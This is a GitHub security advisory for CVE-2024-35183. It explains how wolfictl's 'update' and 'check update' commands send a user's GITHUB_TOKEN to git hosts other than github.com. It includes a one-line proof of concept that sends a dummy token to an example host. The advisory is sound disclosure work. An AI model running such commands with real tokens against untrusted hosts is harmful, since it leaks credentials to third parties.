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GitHub token can be leaked to remote non-GitHub git servers

Moderate
imjasonh published GHSA-8fg7-hp93-qhvr May 15, 2024

Package

gomod github.com/wolfi-dev/wolfictl (Go)

Affected versions

< 0.16.10

Patched versions

0.16.10

Description

Summary

A git authentication issue allows a local user’s GitHub token to be sent to remote servers other than github.com.

Details

Most git-dependent functionality in wolfictl relies on its own git package, which contains centralized logic for implementing interactions with git repositories. Some of this functionality requires authentication in order to access private repositories. There’s a central function GetGitAuth:

func GetGitAuth() *gitHttp.BasicAuth {

This looks for a GitHub token in the environment variable GITHUB_TOKEN and returns it as an HTTP basic auth object to be used with the github.com/go-git/go-git/v5 library.

Most callers (direct or indirect) of GetGitAuth use the token to authenticate to github.com only; however, in some cases callers were passing this authentication without checking that the remote git repository was hosted on github.com.

Issue 1

One of these callers processed git URLs from Melange package configurations, cloning the package’s upstream repository in order to determine which project dependencies have been upgraded since the prior update.

Auth: wgit.GetGitAuth(),

This issue affects the command wolfictl check update, and the set of remote git hosts is a function of the Melange package configuration files residing in the local directory specified in the command.

Issue 2

Another caller processes a git URL received as a command line argument and clones the repository to look for new available versions of the given project.

Auth: wgit.GetGitAuth(),

This issue affects the command wolfictl update.


This behavior has existed in one form or another since 0d06e15 - committed January 25, 2023.

PoC

GITHUB_TOKEN=test wolfictl update http://git.example.com/

Examining traffic sent to the remote server will show that the HTTP Authorization header contains test in base64 encoded format.

Impact

This impacts anyone who ran the wolfictl check update commands with a Melange configuration that included a git-checkout directive step that referenced a git repository not hosted on github.com.

This also impacts anyone who ran wolfictl update <url> with a remote URL outside of github.com.

Additionally, these subcommands must have run with the GITHUB_TOKEN environment variable set to a valid GitHub token.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
High
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:N/A:N

CVE ID

CVE-2024-35183

Credits